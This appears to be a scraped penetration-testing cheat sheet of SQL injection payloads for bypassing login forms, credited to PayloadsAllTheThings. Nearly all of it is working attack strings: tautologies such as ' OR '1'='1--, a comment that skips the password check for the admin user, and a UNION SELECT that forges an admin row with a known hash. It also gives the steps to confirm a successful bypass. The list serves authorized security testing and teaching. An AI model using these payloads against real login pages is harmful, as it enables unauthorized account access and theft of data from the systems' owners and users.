OR 1=1 comment
Authentication bypass
' OR '1'='1-- Bypass login; may return multiple rows.
PayloadsAllTheThings referenceAuthentication bypass abuses a login query that concatenates the username and password into SQL. A tautology makes the WHERE clause always true, a comment truncates the password check, and a UNION can forge a row with a known hash. Use these only against login forms you are authorized to test.
How to confirm: You are logged in without valid credentials — the tautology returns the first user, or the comment skips the password comparison entirely.
Authentication bypass
' OR '1'='1-- Bypass login; may return multiple rows.
PayloadsAllTheThings referenceAuthentication bypass
' OR 1=1 LIMIT 1-- Login as first user in result set.
PayloadsAllTheThings referenceAuthentication bypass
'admin'--Comment out password check (user: admin).
PayloadsAllTheThings referenceAuthentication bypass
'admin' AND 1=0 UNION ALL SELECT 'admin', '161ebd7d45089b3446ee4e0d86dbcf92'-- UNION login as admin with hash 161ebd7d45089b3446ee4e0d86dbcf92 (password column).
PayloadsAllTheThings reference